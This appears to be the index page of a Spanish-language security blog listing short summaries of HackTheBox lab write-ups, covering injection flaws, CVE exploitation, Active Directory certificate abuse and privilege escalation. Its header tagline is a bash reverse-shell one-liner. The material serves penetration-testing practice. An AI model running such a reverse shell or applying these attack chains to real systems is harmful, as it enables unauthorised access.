sckull - blog
bash -i >& /dev/tcp/localhost/1337 0>&1
HackTheBox - Environment
· ✍️ sckull
laravel laravel-debug unisharp-laravel-filemanager CVE-2024-52301 code-injection CVE-2024-21546 gpg BASH_ENV
Environment expone una aplicacion Laravel en modo debug, esto permitio conocer la logica de autenticacion de un valor en la variable de entorno y, con una vulnerabilidad que permite realizar cambios a este logramos el acceso. Tambien, descubrimos un manejador de archivos vulnerable a code injection que posteriormente nos dio acceso inicial. Las claves privadas GPG y un archivo encriptado facilitaron las credenciales para un segundo usuario. Escalamos privilegios con un comando que mantiene el valor de BASH_ENV para la ejecucion de comandos como root.
HackTheBox - Environment
HackTheBox - Eureka
· ✍️ sckull
spring-boot actuators heapdump-springboot eclipse-mat OQL java eureka-server netflix-eureka traffic-hijack pspy eureka-api eq-is-evil
Eureka corre una aplicacion SpringBoot donde obtuvimos un volcado de memoria que contenia credenciales para acceso inicial. Descubrimos Netflix Eureka donde realizamos Traffic Hijack a una instancia que aceptaba credenciales desde un cronjob, estas permitieron el acceso a un segundo usuario. Finalmente escalamos privilegios tras analizar un script en bash ejecutado por root.
HackTheBox - Eureka
HackTheBox - TheFrizz
· ✍️ sckull
Gibbonv25 lfi php php-fopen mysql chisel netexec bloodhound-python impacket-getTGT ssh-kerberos backup wapt password-spraying GPO-abuse evil-GPO SharpGPOAbuse mimikatz hashcat
TheFrizz corre Gibbon con una version vulnerable que tras un analisis de codigo logramos la ejecucion de comandos. Realizamos Port Forwarding para acceder al puerto de la base de datos y obtener credenciales en esta que permitieron ingresar por SSH mediante Kerberos. Descubrimos una contrasena dentro de un backup para el acceso a un segundo usuario. Este ultimo, pertenece al grupo 'Group Policy Creator Owners' por lo que creamos un objeto 'vulnerable' para luego con SharpGPOAbuse ejecutar comandos que finalmente nos dio acceso como administrador.
HackTheBox - TheFrizz
HackTheBox - Nocturnal
· ✍️ sckull
odt ffuf sqlite netexec command injection crlf-injection ISPConfig CVE-2023-46818
Nocturnal expone un sitio web para administar archivos donde realizamos la enumeracion de usuarios y archivos. Entre estos encontramos una contrasena que nos dio acceso al dashboard de administracion. Logramos acceder a la maquina mediante el backup del sitio y Command Injection en la creacion de un backup. Finalmente escalamos privilegios tras explotar una vulnerabilidad en ISPConfig.
HackTheBox - Nocturnal
HackTheBox - Code
· ✍️ sckull
Python python-bypass render_template_string json backup sqlite flask
Code corre un editor de codigo Python donde realizamos bypass a un filtro para la ejecucion de comandos y obtener acceso a la maquina. Tras la lectura de hashes en la base de datos SQLite accedimos por el servicio SSH. Finalmente escalamos privilegios tras modificar el archivo de configuracion para la creacion de backups de backy logrando leer y acceder a archivos como root y posteriormente acceso por SSH.
HackTheBox - Code
HackTheBox - Cypher
· ✍️ sckull
jadx-gui cypher cypher-procedure cypher-injection command injection bbot bbot-module python
Cypher expone un sitio vulnerable a Cypher Injection y tambien un archivo JAR en el cual descubrimos un procedure con la vulnerabilidad Command Injection la cual nos permitio el acceso a un primer usuario. Credenciales en el historial de bash nos permitieron acceso a un segundo usuario. Finalmente logramos la lectura de archivos y ejecucion de comandos como root con el comando bbot.
HackTheBox - Cypher
HackTheBox - Scepter
· ✍️ sckull
nfs showmount certificates openssl pkcs12 pfx2john certipy kerbrute bloodhound bloodhound-ce ESC9 netexec pth-net impacket-dacledit ldapadd evil-winrm dsacls altSecurityIdentities ESC14 X509IssuerSerialNumber impacket-secretsdump
En Scepter accedimos a un recurso de NFS que expone certificados, uno de estos permitio la autenticacion a traves de LDAP y permitio recolectar informacion con Bloodhound y Certipy. A traves de la explotacion de permisos y acceso a diferentes usarios identificamos y logramos la explotacion de ESC9 tras modificar el atributo de un usuario lo que nos dio acceso por WinRM. Dentro, identificamos 'ESC14', tras la explotacion de este se accedio a otro usuario. Este usuario puede realizar DCSync en el dominio a traves de este obtuvimos el hash del administrador para acceder por WinRM.
HackTheBox - Scepter
HackTheBox - Dog
· ✍️ sckull
Backdrop CMS 1.27.1 Backdrop module Backdrop RCE searchsploit bee php suid git-dumper
Dog texpone un repositorio de Backdrop CMS tras acceder al repositorio encontramos credenciales. Estas ultimas nos permitieron ejecutar comandos en la maquina con la instalacion de un modulo. Logramos acceder a un segundo usuario con las credenciales conocidas. Finalmente escalamos privilegios con la ejecucion de la utilidad bee para Backdrop CMS la cual nos permitio ejecutar codigo PHP.
HackTheBox - Dog
HackTheBox - Cat
· ✍️ sckull
git-dumper javascript xss sqlite sqlmap sqli adm Gitea-1.22.0 CVE-2024-6886 stored-xss sendmail
Cat expone un repositorio en el sitio web que tras analizarlo se descubrio una vulnerabilidad XSS y SQLi las cuales permitieron la lectura de la base de datos y posteriormente el acceso a un primer usuario. Se encontro la contrasena de un segundo usuario en los logs de Apache. Para la escalada de privilegios se exploto una vulnerabilidad en Gitea la cual permitio la lectura de un repositorio donde se descubrio la contrasena para root.
HackTheBox - Cat